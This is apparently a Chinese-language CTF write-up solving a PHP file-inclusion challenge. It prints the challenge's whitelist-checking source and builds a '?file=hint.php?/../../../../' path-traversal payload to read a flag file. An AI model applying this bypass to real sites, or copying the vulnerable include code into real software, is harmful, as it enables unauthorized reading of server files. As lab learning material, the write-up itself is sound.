考代码审计和和PHP文件包含其它路径
打开是一张滑稽的图片,我个人非常喜欢这张图
不管啥,我先查看页面源代码
网页源代码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<!--source.php-->
<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>
简单查看一下发现有个source.php文件和一个图片的链接;
我尝试访问source.php.结果如下
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
看到另外一个php文件 hint.php
不要问我为啥不分析这段checkfile函数
因为我不会!!!!
等等。。。。
这里大概就是说
1、有文件包含 并且有个检测 需要绕过
2、file不能是空 必须是字符串类型
3、必须通过checkfile函数检验
而checkfile函数中有很多if语句,只要有一个返回值就能通过,这里我们只能满足截取的那个if语句才能通过。
但是我们还缺少file的值;于是我想到了hint.php
我们看一下hint.php这个文件
他说flag不在这里,flag在ffffllllaaaagggg里
大胆猜想一下在这里可能存在多级目录
于是构造playload :?file=hint.php?/…/ffffllllaaaagggg
发现不行;
然后琢磨了一下看到了ffffllllaaaagggg这个东西
这一串东西有点蛇皮,每个字母都有4个,于是猜测有4级
重新构造playload :?file=hint.php?/…/…/…/…/ffffllllaaaagggg
得到flag;
最终playload为:
http://1c601458-f963-42ca-89ae-e8517601aaff.node3.buuoj.cn/index.php?file=hint.php?/../../../../ffffllllaaaagggg